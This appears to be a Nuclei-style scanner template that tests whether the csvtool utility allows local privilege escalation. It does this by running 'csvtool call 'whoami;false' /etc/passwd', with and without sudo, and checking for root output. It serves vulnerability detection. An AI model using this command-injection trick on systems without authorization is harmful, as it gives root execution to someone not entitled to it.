id: privesc-csvtool

info:
  name: csvtool - Privilege Escalation
  author: daffainfo
  severity: high
  description: |
    csvtool is a command-line utility in Unix-like operating systems that provides various tools for working with CSV (Comma-Separated Values) files. It can be used to manipulate, process, and analyze CSV data from the command line, making it a useful tool for tasks such as data extraction, transformation, and loading.
  reference:
    - https://gtfobins.github.io/gtfobins/csvtool/
  metadata:
    verified: true
    max-request: 3
  tags: code,linux,csvtool,privesc,local

self-contained: true
code:
  - engine:
      - sh
      - bash
    source: |
      whoami

  - engine:
      - sh
      - bash
    source: |
      csvtool call 'whoami;false' /etc/passwd

  - engine:
      - sh
      - bash
    source: |
      sudo csvtool call 'whoami;false' /etc/passwd

    matchers-condition: and
    matchers:
      - type: word
        part: code_1_response
        words:
          - "root"
        negative: true

      - type: dsl
        dsl:
          - 'contains(code_2_response, "root")'
          - 'contains(code_3_response, "root")'
        condition: or
# digest: 4a0a00473045022100d139416288db46c8f34e489a066c9e3dd997d53a51839622350e6d40259d379f02202c588bd093b543b8e0fe14f766232fdac398e51d65498a5eeee3dd9d3bdaea99:922c64590222798bb761d5b6d8e72950